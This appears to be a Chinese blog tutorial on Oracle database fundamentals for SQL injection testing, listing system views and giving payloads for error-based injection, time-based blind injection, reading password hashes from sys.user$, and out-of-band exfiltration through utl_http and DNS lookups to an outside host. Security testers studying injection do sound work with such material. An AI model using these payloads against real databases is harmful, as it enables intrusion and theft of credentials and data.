• jQuery火箭图标返回顶部代码


    一、Oracle基本知识

    组成部分

    Oracle数据库系统由数据库文件(保存在磁盘上的文件)、数据库实例(管理数据库文件的一组进程和内存结构)。

    应用程序连接到数据库时,实际上是连接到一个Oracle实例,由Oracle实例中的进程和内存来为应用程序提供服务。

    注意:在SQL server或MySQL中,当连接到数据库中可以同时管理多个数据库,这是因为实例就是数据库服务器引擎,,因此一个实例可以创建多个数据库。而Oracle中,实例由一系列的进程和服务组成,与数据库可以是一对一的关系,也就是一个实例可以管理一个数据库;也可以是一对多的关系,多个实例可以管理一个数据库,其中多个实例组成一个数据库的架构叫做集群。

    因此。一个实例不能管理多个数据库,这是Oracle与其他数据库的一个明显区别。

    数据字典

    数据字典是Oracle数据库的重要组成部分,它由一系列拥有的数据库元数据(metadata)信息的数据字典表和用户可以读取的数据字典视图组成,存放Oracle数据所用的有关信息,主要包括:系统的空间信息、数据库中所有模式对象的信息(表、视图、索引等)、Oracle用户的名字、用户访问或使用的审计信息、用户的权限信息、列的约束信息和缺省值等。

    数据字典可以看作是一组表和视图结构,它们存放在SYSTEM表空间中。

    表空间

    表空间是Oracle数据库中最大的逻辑结构,可以将表空间看作是数据库对象的容器。由一个或多个数据文件的集合,所有的数据对象都被逻辑地放在指定的表空间中。一个数据库通常包括SYSTEM、SYSAUX和TEMP三个默认表空间,一个或多个临时表空间。

    注释

    Oracle的注释有单行注释 -- 和多行注释 /**/。不像MySQL还支持#。

    dual虚拟表

    Oracle规定,每次查询时后面必须跟表名称,而dual是oracle的一个虚拟表,这张表只有单行单列一条记录,可以利用这个虚拟表设置或调用一些内置函数等。

    Oracle是强类型的数据库 ,所以在UNION联合查询时候,用NULL兼容数据类型,而不能使用1,2,3数字代替。

    rownum

    oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。

    获取表中第一行记录:

     

    如果想找到从第二行记录以后的记录,当使用rownum>2或rownum=2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。

    在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。

    'a'||'b'='ab'

     

    常用函数

    Oracle中函数和MySQL数据库中类似,常用的有:

    字符串函数:ASCII(str)、CHR(i)、CONCAT(s1,s2)、LENGTH(s1)、SUBSTR(s1,i,[j])

    数学函数:ABS(n)、POWER(n1,n2)、SIN()等等

    日期函数:SYSDATE()

    转换类函数:TO_CHAR(s1):将s1转换为字符串

    流程控制

    在MySQL中,流程控制有IF和IFNULL,而PL/SQL(Oracle)中,有多个流程控制符:

    系统表

    Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。

    DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。

    DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

    ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

    USER_TABLES意为某一用户所拥有的所有的关系表。

    当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。

    DBA_TABLES >= ALL_TABLES >= USER_TABLES

    需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。

    dba_开头
    dba_users 数据库用户信息
    dba_segments 表段信息
    dba_extents 数据区信息
    dba_objects 数据库对象信息
    dba_tablespaces 数据库表空间信息
    dba_data_files 数据文件设置信息
    dba_temp_files 临时数据文件信息
    dba_rollback_segs 回滚段信息
    dba_ts_quotas 用户表空间配额信息
    dba_free_space数据库空闲空间信息
    dba_profiles 数据库用户资源限制信息
    dba_sys_privs 用户的系统权限信息
    dba_tab_privs用户具有的对象权限信息
    dba_col_privs用户具有的列对象权限信息
    dba_role_privs用户具有的角色信息
    dba_audit_trail审计跟踪记录信息
    dba_stmt_audit_opts审计设置信息
    dba_audit_object 对象审计结果信息
    dba_audit_session会话审计结果信息
    dba_indexes用户模式的索引信息

    user_开头
    user_objects 用户对象信息
    user_source 数据库用户的所有资源对象信息
    user_segments 用户的表段信息
    user_tables 用户的表对象信息
    user_tab_columns 用户的表列信息
    user_constraints 用户的对象约束信息
    user_sys_privs 当前用户的系统权限信息
    user_tab_privs 当前用户的对象权限信息
    user_col_privs 当前用户的表列权限信息
    user_role_privs 当前用户的角色权限信息
    user_indexes 用户的索引信息
    user_ind_columns用户的索引对应的表列信息
    user_cons_columns 用户的约束对应的表列信息
    user_clusters 用户的所有簇信息
    user_clu_columns 用户的簇所包含的内容信息
    user_cluster_hash_expressions 散列簇的信息

    v$开头
    v$database 数据库信息
    v$datafile 数据文件信息
    v$controlfile控制文件信息
    v$logfile 重做日志信息
    v$instance 数据库实例信息
    v$log 日志组信息
    v$loghist 日志历史信息
    v$sga 数据库SGA信息
    v$parameter 初始化参数信息
    v$process 数据库服务器进程信息
    v$bgprocess 数据库后台进程信息
    v$controlfile_record_section 控制文件记载的各部分信息
    v$thread 线程信息
    v$datafile_header 数据文件头所记载的信息
    v$archived_log归档日志信息
    v$archive_dest 归档日志的设置信息
    v$logmnr_contents 归档日志分析的DML DDL结果信息
    v$logmnr_dictionary 日志分析的字典文件信息
    v$logmnr_logs 日志分析的日志列表信息
    v$tablespace 表空间信息
    v$tempfile 临时文件信息
    v$filestat 数据文件的I/O统计信息
    v$undostat Undo数据信息
    v$rollname 在线回滚段信息
    v$session 会话信息
    v$transaction 事务信息
    v$rollstat 回滚段统计信息
    v$pwfile_users 特权用户信息
    v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息
    v$sql 与v$sqlarea基本相同的相关信息
    v$sysstat 数据库系统状态信息

    all_开头
    all_users 数据库所有用户的信息
    all_objects 数据库所有的对象的信息
    all_def_audit_opts 所有默认的审计设置信息
    all_tables 所有的表对象信息
    all_indexes所有的数据库对象索引的信息

    session_开头
    session_roles 会话的角色信息
    session_privs 会话的权限信息

    index_开头
    index_stats 索引的设置和存储信息

    常用系统表查询

    数据库信息

    select NAME,PLATFORM_NAME from v$database
    select HOST_NAME,VERSION from v$instance
    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';


    表信息

    select TABLE_NAME,TABLESPACE_NAME from user_tables


    字段信息

    select TABLE_NAME,COLUMN_NAME from user_tab_columns WHERE TABLE_NAME LIKE 'TEST';

    当前用户

    SELECT user FROM dual


    列密码哈希

    SELECT name,spare4 FROM sys.user$


    时间盲注
    获取主机名

    SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;


    查询大量的数据


    对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。其他数据库也适用。

    select count(*) from all_objects

    当然,还有其他的骚操作。

    报错注入

    utl_inaddr.get_host_address()

    根据主机名获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

    select utl_inaddr.get_host_address((select TABLE_NAME from user_tables WHERE rownum=1)) from dual
    

    utl_inaddr.get_host_name()

    select utl_inaddr.get_host_name((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

    ctxsys.drithsx.sn()

    select ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables WHERE rownum=1)) from dual

    ordsys.ord_dicom.getmappingxpath()

    select ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) from dual;

    dbms_utility.sqlid_to_sqlhash()

    select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

    还有几个其他的报错函数,就不一一介绍了。

    带外通信


    Oracle可以发送HTTP请求和DNS请求,可以将查询的结果附带到请求中,然后通过查看WEB日志和DNS记录读取查询结果,这种方式针对盲注注入能有效的提高效率。

    HTTP请求


    utl_http.request(),发送HTTP请求:

    select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

    DNS请求


    utl_inaddr.get_host_address(),查询NDS请求

    select utl_inaddr.get_host_address((select user from dual)||'.xxx.com') from dual

  • 相关阅读:
    利用idea的code inspect功能进行代码静态分析
    AntiSamy测试
    常用git命令
    node 常用命令
    java中byte[] 和16进制字符串互转
    使用idea的条件断点快速定位注解的处理类
    使用数组初始化list
    django连接Mysql数据库
    20分钟快速用django+mysql+pycharm搭建一个自己的web网站学习笔记
    随便谈谈------关于django学习笔记
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/12289385.html
Copyright © 2020-2023  润新知